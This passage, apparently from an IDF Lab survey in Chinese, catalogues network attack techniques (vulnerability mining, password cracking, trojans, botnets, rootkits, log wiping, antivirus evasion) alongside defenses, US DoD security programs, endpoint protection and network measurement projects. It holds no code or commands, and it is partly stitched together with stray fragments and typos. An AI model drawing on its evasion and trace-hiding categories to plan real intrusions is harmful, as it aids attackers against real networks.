    2、漏洞挖掘技术。主要利用多种技术方法找出现有计算机系统在硬件、软件、网络协议设计与实现过程中或系统安全策略上存在的缺陷和不足,特别是那些鲜为人知的漏洞,以便利用漏洞获得计算机系统的额外权限,在未经授权的情况下访问或提高访问权限,从而取得网络攻击主动权。主要的测试方法有白盒测试、灰盒测试和黑盒测试。漏洞挖掘技术主要有:漏洞快速利用技术,即利用新漏洞发现后厂商修补漏洞前的短暂时间差,对系统发起快速攻击。人工分析技术,是攻击者在分析、寻找安全漏洞时常用的方法,主要包括:外部观察,了解文件类型、行为和外部接口;静态分析,检查程序用了哪些外部函数;静态考查更多的外部接口;通过反汇编,静态考查所发现的兴趣点;在静态分析基础上动态考查程序是否有溢出、格式串等问题。专业检测技术,比较成熟的静态漏洞检测技术有源代码扫描、反汇编扫描和浸透分析等,比较成熟的动态漏洞检测技术有环境错误注入。软件自动测试技术,以微软的SLAM比较典型,是检测并显示静态源文本及模型错误的静态分析工具,其基本理论是程序分析、模型校验和自动推演。

    3、密码破解技术。密码破解技术一方面用于直接获取目标系统普通或特权账户的访问权限,另一方面通过密码分析技术实现密码攻击,在破解密码体制的基础上,完成对系统的入侵、破坏或目标信息的获取。随着网络安全技术的完善,安全认证与访问控制已成为计算机信息系统管理不可或缺的重要安全措施,从而使密码破解成为网络攻击的重要技术。密码解破技术主要有:口令攻击技术,口令是网络对抗攻击面临的第一道防线,直接进行口令攻击的主要技术有字典式攻击、暴力攻击、登录特洛伊木马攻击、驻留攻击和监听攻击等。序列密码攻击技术,主要用于分析密钥流发生器,攻击类型有:利用密钥流序列统计弱点预测密钥流序列;使用等价的简单结构序列密码和更大的内部状态尺寸重构密钥流序列;重构秘密密钥且对每个新的随机密钥不必重复进行。通用的序列密码攻击技术有相关攻击、高阶相关攻击、穷尽密钥搜索、周期和统计攻击、线性复杂度、最大阶复杂度、重放密钥攻击、侧通道攻击等。分组密码攻击技术,其分析思路和技术主要有插值攻击、滑动攻击、代数攻击、明文相关重复码分析等;分组密码安全性研究的重点主要包括强力攻击、差分密码分析、线性密码分析、方表攻击、相关密钥攻击等。

    4、渗透控制技术。渗透控制是网络攻击的重要阶段,目的是利用各种技术手段进入目标主机或网络系统,并提升权限,达成远程控制,实现进一步的攻击。渗透控制技术主要有:欺骗植入技术,指攻击者利用IP欺骗、Web欺骗、DNS欺骗、ARP(地址转换协议)欺骗、电子邮件欺骗等各种方式进入目标主机,并将恶意代码植入系统内,实现对目标的攻击和控制。数据驱动渗透技术,指攻击者采用溢出利用技术、格式化字符串利用技术、输入验证利用技术、同步漏洞利用技术、信任漏洞利用技术等,通过向某个程序发送数据,从而得到访问目标系统的权限,实现对目标的攻击和控制。后门技术,是攻击者对目标实现控制的主要技术,具有代表性的后门技术是各种特洛伊木马。常见的木马有远程访问型、密码发送型、健盘记录型、毁坏型等。目前特洛伊木马正朝着跨平台、模块化、病毒式感染、即时通知、加密隐藏和秘密信道技术通联等方面发展。分布式攻击控制技术,指攻击者通过控制和协调分布在Internet上的大量攻击工具实现对目标网络的攻击。如攻击者通过传播僵尸程序可使大量主机感染僵尸,使用加密控制信道技术可以保障控制命令的隐匿和安全,使用P2P网络可以进行传播,以便在需要的时候接收攻击者的命令发动攻击。

    5、代码传播技术。网络攻击特别是网络战概念中的攻击,是通过各种各样的恶意代码来实现。随着代码传播技术的发展,以前需要依靠人工启动攻击软件工具发起的攻击,现在依靠攻击工具本身的智能就可以发起攻击。主要的代码传播技术有:自动传播技术,自动传播是病毒、蠕虫等恶意代码与生俱来的特性,利用自动传播方式需要不断完善目标选择技术,以便在最短时间内找获目标。目标选择技术主要有:随机选择技术、顺序选择技术、基于网络信息的选择技术、基于DNS的选择技术、基于目标库的选择技术、分布式选择技术和被动式选择技术等。非触发传播技术,该技术不需要目标用户的任何操作,通过复杂的移动应用技术生成攻击武器,在移动代码执行过程中可主动向访问服务器的用户传播。受控传播技术,该技术具有一定的方向性,侵入计算机系统后,可以潜藏在连接互联网的计算机中,接受机外遥控信息,收集目标计算机密码和重要信息。无线传播技术,随着战场无线网络的广泛应用和无线局域网的大量部署,通过无线链路实施攻击代码传播已成为重要的攻击途径,相关技术包括无线注入和移动平台间的传播等。

    6、目标破坏技术。对目标网络实施破坏是网络攻击的主要目的。通过对目标系统的破坏或以目标系统为跳板向其他系统发起攻击,可以导致目标服务终止、目标系统瘫痪、目标网络瘫痪等不同的结果。目标破坏技术主要有:阻塞类破坏技术,包括拒绝服务、蠕虫、病毒等攻击手段。针对特定目标的阻塞类攻击工具有网络炸弹,电子邮件炸弹等。控制类破坏技术,它是在取得对系统的控制权后实施,依据控制权限的不同,既可以针对特定目标,也可以针对整个受控网络;既可以是暂时性的,也可以是毁灭性的。

    7、攻击隐藏技术。指攻击者保护自己的技术。网络攻击者在发起攻击之前,必须确定使用什么样的隐藏技术与隐藏策略,以避免被目标网络安全管理员发现、追踪以及法律部门的取证。攻击隐藏技术主要有:攻击位置隐藏技术,由于在网络上标明位置的是IP地址,因此IP地址隐藏成为攻击位置隐藏技术所要解决的关键问题,主要技术有代理利用技术和木马程序利用技术。攻击行为隐藏技术,它是为了保证攻击的各个环节不被管理者发现而采取的技术,如在目标主机或服务器中实施窗体隐藏、文件隐藏、进程隐藏以及进程插入、加壳、注册表加载项隐藏,在网络上实施通信流量限制和隐藏等。比较完善的攻击行为隐藏技术是利用内核套件直接控制操作系统内核,已有的Rootkit几乎可以隐藏任何软件。攻击痕迹清除技术,即在攻击完成后,运用痕迹清除技术消除攻击留下的痕迹,以避免被目标发现,同时保留隐蔽通道,为再次进入目标系统提供方便。主要技术有日志清理和文件信息伪装等。

    8、安防突破技术。随着网络攻防技术的不断发展,安全防护技术也在不断完善。目前,安防突破技术主要有:反检测技术,通常采用能够隐藏攻击工具的线程捆绑技术、加密技术、反跟踪技术等,使杀毒软件和防火墙得不到足够的信息,从而难以区分程序是否合法;使对方不可能找到唯一的代码串和偏移来确定病毒的特征,使静态扫描技术失效;使分析者无法动态跟踪病毒的运行,无从知道病毒的工作原理而难以防范。动态行为技术,针对安全防范技术对攻击特征码的识别和静态检测,动态行为技术能够按照不同的方法更改它们的特征。如随机选择和预定决策路径或通过入侵者直接控制,可以改变它们的模式和行为;加密变形在传播感染不同文件时会构造解密功能相同但代码不同的解密子,以便对抗静态扫描。攻击工具模块化技术,该技术能够通过升级或对部分模块的替换完成快速更改,实现在不同平台上运行。例如,攻击工具采用IRC和HTTP等标准协议进行数据和命令传输,目标对象想要从正常的网络流量中分析出攻击特征就更加困难。尤其是攻击工具的组织化、网络化,使攻击工具由许多不同功能的组件构成,当攻击被某一台主机清除后,其破坏能力不受影响,因为分布在网络上的其它攻击工具可通过网络系统重新感染目标。

    9、战果评估技术。网络攻击是否造成了敌方网络拥塞,非法窃取和删改是否破坏了敌方核心数据的可用性、保密性和完整性,网络攻击是否需要改变部署和制定新的战术,都需要运用战果评估技术给予明确的答案。战果评估技术主要有:评估体系研究,它是攻击效果评估的依据,构建评估体系的指标包括攻击前提条件、攻击消耗资源、攻击技术水平、攻击产生后果、攻击目标等级、攻击模型关联性等多个方面。网络测量技术,不同的攻击方式会对网络性能造成不同的影响,如阻塞攻击会使网络吞吐量下降,时间延迟增加,响应时间变长;控制攻击会使网络流量、行为等出现异常;敌方面对攻击如果采取关闭网络节点、端口等防卫措施,会使网络拓扑改变等等。网络测量技术可以实现对上述情况的远程监测,实时掌握网络战场的变化,其主要技术有主动测量和被动测量。

  • 网络防御关键技术

    网络防御体系是信息安全保障的重要组成部分,它依赖于人、操作和技术来共同实现。重点是对信息基础设施实施“纵深防御战略”,做到多层防护。涉及的领域包括网络与基础设施防御、区域边界防御、计算环境防御和支持性基础设施防御等。网络防御技术主要有:

    1、攻击检测技术。通过技术检测发现安全漏洞和外来攻击,可进一步加强防护,健全安全策略。典型的攻击检测技术主要有:风险评估,指预测计算机系统和网络资源缺失或遭受破坏对整个系统所造成的损失,它对威胁脆弱点以及由此带来的风险进行评判,是建立安全防御体系的前提。风险评估方法主要有定量评估、定性评估以及定量与定性相结合的评估等。病毒检测技术,主要有文件完整性检测技术、基于特征码的病毒静态检测技术等。为防范未知病毒,目前正在研究或部分进入实用阶段的病毒检测技术有检测可疑操作指令的启发式检测技术,阻断恶意行为的行为阻塞技术,通过跟踪病毒自身解密过程检测多态病毒和未知病毒的虚拟机检测技术,检测变形病毒的“归0技术”,借鉴生物医学模型的计算机病毒免疫技术以及利用数字签名技术的防病毒研究等。入侵检测技术,主要用于检测网络系统中发生的攻击行为或异常行为,并进行阻断、记录、报警等响应。其技术包括基于主机、基于网络、状态分析、文件一致性检查、低速区域网络检测、大范围网络的高速入侵检测等。目前正在发展的还有分布式入侵检测与大规模入侵检测技术以及针对高速网络的实时检测技术等。在入侵分析技术方面,统计学方法、神经网络、免疫系统、基因算法、基于Agent的检测、数据挖掘技术等新兴理论得到逐步应用。在实际应用方面,正在构筑的入侵防护系统,可以预先对入侵活动和攻击性网络流进行拦截。

    2、攻击防范技术。攻击防范是在因特网基于IP的无边界网络上构建的有效防线。其主要技术有:密码与加密技术,即通过寻求产生安全}生高的密码算法,满足对信息加密或认证的要求。它不仅能够保证机密信息的安全,还能够完成数字签名、身份验证、系统安全等功能。密码加密技术主要包括公钥、私钥、密码基础设施等。认证与控制技术,认证是系统核查用户身份证明的过程,常用的认证技术按物理介质划分,主要有口令、磁卡、条码卡、IC卡、智能令牌、指纹、密码表等;按身份认证过程与系统的通信次数分,有一次认证、两次认证;按身份认证所应用的系统划分,有单机系统身份认证和网络系统身份认证;按身份认证的基本原理划分,有静态身份认证和动态身份认证。目前代表身份认证发展方向的技术主要有:动态口令、基于智能卡的认证、基于生物特征的认证等。访问控制是信息系统安全的核心策略之一,主流的访问控制技术包括自主访问控制、强制访问控制、基于角色的访问控制、基于任务的访问控制、基于组机制的Ntree访问控制等。访问控制的实现技术有访问控制表、能力表、授权关系表等。防火墙技术,主要用于在两个或多个网络间加强访问控制,保护网络不受外来攻击,是网络安全防护的手段之一。防火墙技术主要有分组过滤、应用代理、状态检测和自备安全操作系统等。目前需要加强和完善的重点是:防攻击技术、防扫描技术、防欺骗技术、包擦洗和协议正常化技术等。

    3、应急恢复技术。是指对突发安全事件进行响应、处理、恢复、跟踪的方法及过程。虽然保护网络安全的技术迅速发展,但实践证明,现实中再昂贵的安全保护也无法发现和抵御所有危害,因此完善的网络安全体系要求必须建立应急响应体系。应急恢复技术主要有:应急响应技术,它是防御方应对攻击所采用的技术。在技术实现上主要采取以下几种方式:通知警报响应,即发现入侵后实时报警;人工手动响应,即接到报警后手工清除攻击,切断网络,查找攻击的来源;自动响应,即对检测出的入侵或攻击行为实施自动隔离、自动阻断以至尝试某些反击等;大规模互联网络环境下的入侵响应,即通过整合防火墙、路由、安全管理系统等多种网络安全技术,提供更灵活、更优化的入侵响应措施。安全联动机制,即在相关组织间、组织内各部门间协调人力与信息资源,共同应对网络安全事件,既提供安全事件应急响应服务,又能实现信息共享、交换和分析。备份与恢复技术,它是保护和备份重要数据,保证网络灾难过后能够迅速恢复工作所采取的防御措施。传统的备份与恢复技术主要有主机备份、局域网备份和远程备份等。近年来随着网络存储技术的发展,又出现了诸如存储区域网、数据复制与实时热备份、分布式数据库、数据网格等自动恢复技术。入侵容忍,它是在系统受到攻击,某些部分受到破坏或被恶意攻击者操控时,通过触发一些防止系统失效的机制,保证系统继续提供正常的或降级的服务,不改变系统数据的机密性、完整性等安全属性的措施。主要技术研究包括自适应入侵容忍服务器体系结构、wi11ow体系结构、随机自适应人侵容忍系统、DoS入侵容忍分级自适应控制系统、入侵容忍数据库系统和实现容入侵与容错服务冗余的中间件体系结构等。

    4、相关安全技术。计算机网络已成为国家重要信息基础设施,构建新一代可信计算环境是信息技术领域的重要课题之一。目前,可信计算、可信网络、安全操作系统、安全路由器及安全数据库等方面的技术研究日趋兴盛,通过IPv6等下一代网络技术来改善网络安全状况的愿望也十分强烈。如:可信计算技术,它通过对用户身份进行鉴别,并与内部各元素互相认证,确保平台启动链中的软件未被篡改,并且具备由权威机构颁发的唯一身份标识,不再依赖现有不固定也不唯一的IP地址。其目标是致力于建成新一代具有安全、信任能力的硬件运算平台,提高系统内核的安全性和抗攻击能力。实现方法是通过在每一台计算机安装可信赖的智能芯片,在计算机内部建立一个特别区域,让软件在其中安全执行,这个受保护的空间可防止未经授权的应用软件删改数据。基于可信技术的硬操作系统能够检测到未授权的访问企图,从而在软件状态发生变化之前将其改变。将来,这个模块还可以被直接内建在CPU、显卡、硬盘、声卡等计算机硬件里。可信计算的主要技术包括可信计算平台模块PTM技术、可信操作系统技术、系统芯片(SOC)设计与测试的基础理论和关键技术等。IPv6技术是为解决IPv4网络存在的各种问题而提出的新技术,它通过巨大的地址空间、更具唯一性的地址配置、更严格的安全认证管理来实现网络的可控性。特别是通过工Psec安全协议集,可增强系统的安全性和认证功能;通过引入诸如邻居发现、路由首部与扩展首部、隐私保护、过渡机制等新的特性,增强信息传输的可靠性与保密性。

1.5.2 信息安全保密技术

    在计算机网络高速发展的情况下,加密是实现数据保密性、完整性最有效的方法。鉴于高速通信网络对加密技术的新要求,美国正致力于研发一种密码要素可变的加密技术,NSA和Sandia国家实验室均参与了该项技术的研究。据悉,目前已制造出几种密钥捷变加密样机,如Milkbush、Enigma2和可伸缩ATM加密机等。

    另一方面,在网络攻击活动日益增多的情况下,计算机系统的脆弱性成为五角大楼最为担心的问题。为确保信息安全,美国防部大力开发计算机网络安全保密系统。具体工作包括

  • 设置新的报警系统。

    美国防部为改进计算机网络遭受攻击的反映方式,设置了新的报警系统,使所有指挥层以标准化程序做出一致性反应,不仅提供防御措施,为国防部建立应对各种信息安全威胁的行动标准,还可在网络防护过程中明确相关作业指挥官的职责,并使作战人员在网络遭受攻击时仍可顺利获取信息。

  • 开发自动入侵探测环境系统。

   该系统能在一台标准显示器中无缝隙集成各种入侵探测装置,收集来自不同类型传感器的数据,分析比较并统一输入,在多个作战级将输人数据显示为单一的入侵检测报告,大大增强了国防部检測网络入侵的能力,提高了报告网络遭受攻击的及时性。

  • 部署主动网络防御系统。

    该系统能跟踪发现攻击的源头,并实时还击。其中,“移动代理”程序能探查到连接网络的路由器;“全面探查”;程序能扫描网络传输的数据,找到正在发生或将要发生的网络人侵线索;“指示和标记”程序能探测到数据包中的可疑行动并找到攻击源头。

  • 研制国土安全指挥控制系统。

    美国防部筹资5 38 0万美元研制的“国土安全指挥控制系统”,把各种数据信息、各个网络系统甚至是各种软件综合到一起,可及时跟踪了解各种情况。

  • 开发网络安全新技术。

    美国Invitica网络公司开发的网络安全新技术,通过不断改变用户的IP地址,使网络处于变动状态,从而防止他人入侵用户网站。美国SRI国际公司和国防高级研究计划局开发的“祖母绿”新型计算机网络安全技术,  以异常情况为基础,可在网络的多个系统中部署,实时确定计算机受攻击的范围,探测计算机系统从未经历的新攻击。

研制防止敌方“入侵”计算机的数据库和信息库。该数据库和信息库可以保护关键的指挥和控制系统,当系统受到攻击时,能够脱离操作并自动与空军信息战中心和计算机应急分队等连接,利用最新的对抗信息来更新数据库,达到保护计算机和网络不受攻击的目的。

1.5.3 漏洞挖掘技术

    2002年,美国国防部高级研究计划局在OpenBSD源码审核成功和Linux安全审核计划的启发下,开展了针对Linux缺陷分析Sardonix项目。2004年,美国国土安全部高级研究计划局在赛博安全研发计划中,将软件二进制代码模型检查、开源软件加固计划、Copilot高保障性与独立安全审核系统、基于静态与运行相结合防止SQL代码注入方法等,列为漏洞发现与修复项目。2006年,《美国联邦赛博安全和信息保障研发计划》将研究检测漏洞和恶意代码方法、技术和工具,为软件安全提供保障能力,作为漏洞与恶意代码检测研究的主要目标,提出要改进安全漏洞源码、目标码以及二进制码扫描分析工具和自动化测试工具性能,解决漏洞挖掘错报率高、适应性差等技术问题,重点攻研恶意代码检测仿真、代码扫描、功能提取、隐信道检测与追踪等有发展前景的技术。同时,还要改善分析工具的互操作性,解决反汇编、调试和程序切片(slicer)工具的一体化问题。

    基于开源软件在政府机构中的广泛使用和UNIX操作系统存在的大量缺陷,在公共领域主要支持开源软件漏洞研究工作。如“开源软件漏洞发现和修补加固计划”,就是一个包括对约40个开源软件包进行例行安全审核的项目。该项目2006年初启动,投入资金124万美元,计划3年完成。它通过对开源软件项目所涉及的约1750万行代码进行扫描分析,达到改善其安全性和可靠性的目的。

    另外,漏洞利用库与漏洞利用框架的研究也在不断深入。具有代表性的是Metasploit架构研究,已成为渗透测试、漏洞利用开发和漏洞研究的有力工具。Immunity公司的CANVAS,包括数百种漏洞利用,是自动化的漏洞利用系统和开发架构。

1.5.4 网际安全研究

   美国众议院科学与技术委员会于09年11月通过了一项新的法案,增加了NIST在网际安全(cybersecurity)方面的职能。根据此法案,NIST将负责指定一个计划来协调政府和国际组织间在开发新的网际安全标准方面的合作。同时, NIST也将于政府机构,业界和学术界共同合作,对网际安全风险和最佳实践等,进行公众教育。

usp013

(1)加强顶层领导。通过以下事项来加强对网络空间安全的领导:设立一个总统的网络空间安全政策官员和支持机构;审查法律和政策;加强联邦对网络空间安全的领导力,强化对联邦的问责制;提升州、地方和部落政府的领导力。

(2)建立数字国家的能力。提升公众的网络安全意识,加强网络安全教育,扩大联邦信息技术队伍,使网络安全成为各级政府领导人的一种责任。

(3)共担网络安全责任。改进私营部门和政府的合作关系,评估公私合作中存在的潜在障碍,与国际社会有效合作。

(4)建立有效的信息共享和应急响应机制。建立事件响应框架,加强事件响应方面的信息共享,提高所有基础设施的安全性。

(5)鼓励创新。通过创新来解决网络空间安全问题,制定全面、协调并面向新一代技术的研发框架,建立国家的身份管理战略,将全球化政策与供应链安全综合考虑,保持国家安全/应急战备能力。

(6)行动计划。提出了近期行动计划10项和中期行动计划14项。

1.5.5 网络末端安全防护技术

    网络末端安全防护技术,重点关注网络末端计算机及其操作系统,相关的使用人员,多种安全风险途径,信息资产的完整性和保密性,网络末端安全行为的可追究性等方面的问题。防止对网络末端用户恶意信息盗取、信息破坏和信息篡改等攻击行为,防止网络末端用户通过网络将内部机密信息有意或无意泄漏出去,防止网络末端用户对内部重要数据服务器进行攻击和破坏,并对安全事件进行审计跟踪。在制定技术策略时,尤其要重视以下系统的安全。

    一是操作系统安全。强制安装个人防火墙以及防病毒、防垃圾邮件和防间谍软件;强制进行系统补丁升级与防病毒软件更新;采取GHOST或其它软件对系统进行备份,定期进行刷新恢复;强制定期更换系统登陆密码;删除GUEST等无用用户;关闭不必要的系统服务,尽量简化系统管理,配置操作系统、运行程序、系统进程、系统服务、注册表等安全访问策略;限制安装应用软件。

    二是网络访问安全。为上网终端配置网络准入规则,限制非法外联;简化网络管理构架,限制网络末端多点连出;面向所有参与实体,加强身份认证管理;细化应用层安全控制策略,进一步提升边界防御能力;部署有效的网关级杀毒引擎,减少利用电子邮件对网络末端计算机进行病毒传播的安全威胁。

    三是网络末端信息数据安全。利用文件驱动、应用程序、临时文件和API钩子等技术,完成末端数据加密,实现对数据信息的强制保护和控制;利用磁盘加密技术,对所有文件进行强制保护,结合用户或客户端认证技术,实现对网络末端用户磁盘数据的全面保护;按照相关标准清除已经删除的各种数据,对敏感数据应进行三次覆盖,对包含机密信息的网络末端用户,采取更高级别的废弃数据文件清理措施;设置查看、浏览、打印、复制、时间限制等信息安全访问权限,从核心业务流信息的产生、传播、使用、销毁等各个环节进行安全控制与管理。

    四是接口控制。在重要网络中,对网络末端计算机的USB、串口、并口、COM、CDROM等外设接口进行控制,使终端用户无法使用相应接口的硬件设备,防止从网络末端非法接入因特网和机密信息的泄漏。

    五是移动存储设备控制。规定用户终端对移动存储设备的使用权限,确保客户端不能随意使用移动存储设备;对移动存储设备的数据输入/输出进行审计,对使用的设备进行密级识别认证,确保只有经过认证的设备才能在安安控制域中使用;利用屏蔽物理接口、锁定没备驱动软件、网络阻挡等技术手段,防止信息转载到移动硬盘、PDA、数码相机及其它外部移动设备所引起的信息资产被窃取和泄漏。

    六是监控与审计。对网络末端实施监控和审计,对计算机终端采取集中管理控制策略,监控系统的访问和使用,检测与访问控制策略不符的情况。监控范围包括与末端计算机有关的外设、应用程序、网络访问、信息资源、系统补丁和病毒升级包等。监控内容包括操作系统和应用程序补丁、木马程序、防病毒软件版本、病毒特征库版本、违规软件安装、共享目录、屏幕保护密码、监控软件安装等。同时对终端用户的行为进行实时监控,确保用户只能进行安全策略所允许的操作,当网络末端加入其它网络或脱网运行时,要有相应的保护和监管策略;能及时发现接入网络的无监控软件的非法计算机,并予以报警,主动阻断其网络连接。审计功能包括对网络末端进行安全监控,并将监控事件记录下来,形成完整的日志;按照多种条件进行搜索查询,并生成多种形式的报表,自动上传到第三方服务器,由专门人员进行日志分析整理;发现违反安全策略的行为和需要改进的地方,及时凋整安全防御策略或在出现安全事故时提供证据。对敏感网络末端用户,还应从HTTP、FTP、EMAIL等出口,对外发信息进行监控,对敏感关键字进行延迟审计。

网络末端安全技术防护是一个非常细致的问题,要实现全面安全防护,最好的办法是建立一个网络末端安全保障系统。其服务端配置在网络末端各个计算机系统中,控制管理端能够同保护网络边界和网络基础设施的安全产品与技术结合起来,共同组成网络安全保障体系,提升信息安全保障能力,对抗来自网络内外的各种安全威胁。

1.5.6 网络测量技术

网络测量是指通过收集数据或分组的踪迹,定量分析不同网络应用在网络中的分组活动情况,从而获取网络行为第一手指标参数的手段。网络测量和网络行为分析技术最初主要着眼发现网络瓶颈,优化网络配置,加强网络管理,为Internet流量工程和网络行为学研究提供基础辅助依据和验证平台,为开发高性能网络设备和设计网络协议提供理论基础。随着网络测量技术的发展,网络测量在保障网络安全,防范大规模网络攻击方面的重要作用,特别是对网络对抗与信息战的支持作用,受到了更多关注,针对Internet的测量与分析已成为学术界、企业界和国家政府部门普遍关注的重要问题之一。

面对日益严重的网络安全威胁,利用大规模网络测量可以对网络流量与网络拓扑的变化进行分析,对网络在异常环境下的可生存性做出分析与评估,为防范大规模网络攻击提供预警手段,使国家对网络管理更具宏观控制力。网络测量在网络安全管理与防护中,至少具有以下几个方面的应用:

(一)网络监视。在对网络长期观测并掌握其正常行为、异常行为及其动态变化模式的基础上,通过对用户、操作系统、路由器和数据库的网络测量,可对网络故障和异常事件做出评价和报告。

(二)网络质量控制和辅助管理。根据长期观察所得到的路由数据实施网络选路,有利于制定安全策略,研究网络被破坏后的网络资源自组织等。

(三)防范大规模网络攻击。通过在大范围内进行网络行为监控,判断有无入侵活动和是否受到攻击,为防范大规模网络攻击提供预警手段。

(四)为网络安全评估提供依据和技术手段。利用网络测量技术时网络脆弱性进行分析,评估网络和基于主机的系统潜在的安全隐患,提高防护水平。

(五)攻击源定位。通过对网络攻击行为的实时监测,发现攻击源头的地理空间位置,并根据需要进行反向跟踪。

(六)支持网络攻击与对抗。利用非合作探测工具,隐藏探测者的踪迹或身份,实现无踪迹探测,进而掌握对方网络拓扑结构及应用状况;通过部署具有抗毁性、可升级的单点及分布式探测体系结构,对获取的信息进行有效组织,实现对网络对抗中战场态势的掌握;根据网络测量结果,研究如何实施信息隐匿、阻塞和伪装,实现主动防御。

网络测量对于研究Internet拓扑结构和流量特征,优化网络结构,实施有效管理,保障网络安全,具有非常重要的意义。由于Interne t的不断庞大和复杂,采用单一测量工具已经无法满足网络测量的要求,需要构建Internet测量基础设施,包括必要的测量平台和数据收集平台及其对平台的控制。为此,从上个世纪90年代开始,国外研究机构已经着手构建网络测量基础设施,构建的基础设施和研究项目主要有:

  • 美国国家Internet测量基础框架(NIMI)

由美国国家科学基金(NSF)和美国国防部高级计划局(DARPA)资助,其目标是建立一个全球化、分布式、大规模、可扩展、动态的Internet测量基础架构。NIMI由分布在北美和亚洲的大量网络探测点NPD构成,NPD之间相互交换测量信息以获取对网络全局的认识。主要特点是:支持多种测度标准,设计了通用测量“引擎”以支持不断出现的新测量标准;较好解决了大规模网络中测量点的协调问题,其原型系统己支持1 03规模的测量点;由管理人员全权控制,并能通过访问控制列表进行基于策略的授权;交换的测量数据包含有证书信息认证;第三方测量工具能够以工具包的形式加入NIMI。该项目分Mafk I、Mark II、Mark III三个阶段实施,并逐步迈向智能化。

  • 端到端性能监控项目PingER

由斯坦福线性加速器中心发起,采用主动测量方式发送ICMP数据包,用ping测量RTT、丢包率等,进而推算系统的性能。在全球14个国家部署了34个监测点,可以监测74个国家3300条链路的网络性能。该项目采用泊松分布的采样序列,加入跟踪器,同时考虑了采样速率和开销大小的影响。此外,斯坦福线性加速器中心与美国能源部等,还运用PingER工具建立了一个测量架构IEPM。

  • 被动共享网络发现SPAN

由Berkeley大学和IBM共同开发,采用被动共享测量,通过发送UDP,TCP分组,让客户机向性能服务器汇报网络性能,同时在网关加设了性能捕获主机辅助测量。

  • 网络分析基础结构NAI

由美国应用网络研究国家实验室NLANR测量和运营分析小组MOAT开发,目的是通过原始数据的收集和公布,支持网络测量可视化的研究与分析。NLANR主要包括基于主动测量的.AMF和基于被动测量的PMA两个子项目。AMF旨在测量和分析通过高速网络互联的网络节点间的性能,在全球部署了近150个监测器,采用主动测量方式测量网络回路延迟、丢包率、拓扑结构和网络吞吐量等网络性能参数。PMA旨在深入研究Internet网络形态和健壮性,为高性能网络提供协作性的服务支持,其监测生成的被动报文头跟踪数据,为在高速网络环境下研究网络流量、链路负载等网络性能提供参数。

  • surveyor工程

是非盈利性国际学术研究组织Advanced Network & Services Inc开发的研究项目,旨在建立用于长期测量广域网端到端单向延迟、丢包率和路由信息的测量框架,己在全球建成多个测量节点的测量平台。它采用IPPM(IETF网络协议性能指标)己经定义好的标准测量方法,利用主动测量方式获得拓扑和性能数据。其特色是采用标准的测量方法,利用GPS进行时钟同步,单向测量准确率较高,测量结果具有可比性。

  • RIPE—RIS项目

主要测量通过控制信息监视方式收集的拓扑和路由数据,提供互联网上实时的BGP路由信息,并可以让用户选择时间段,其收集的路由数据更加丰富。

usp005

总结:IDF实验室认为,智能电网安全防护复杂度和难度 、安全标准匮乏、攻击手段智能化、来自用户侧的威胁增加、终端设备漏洞等将大大提升信息安全在智能电网中的比重,其安全治理应学习美国等发达国家的经验,结合我国电网和用电布局特点,积极开展:1、国际安全威胁情报与组织的研究与交流;2、为有能力和操守的安全企业与民间机构提供攻击和研究实验环境;3、协同各方修订电网安全灾备应急预案,在重点城市开展有效的公共安全演习与教育。

(全文完,免费索取完整版请以中国大陆单位邮箱并附联系确认方式发送邮件至lab.idf@idf.cn)

usp010

 欢迎关注@IDF实验室 共同呵护未来

IDF 二维码 小

                                                      

Viewing all 94 articles
Browse latest View live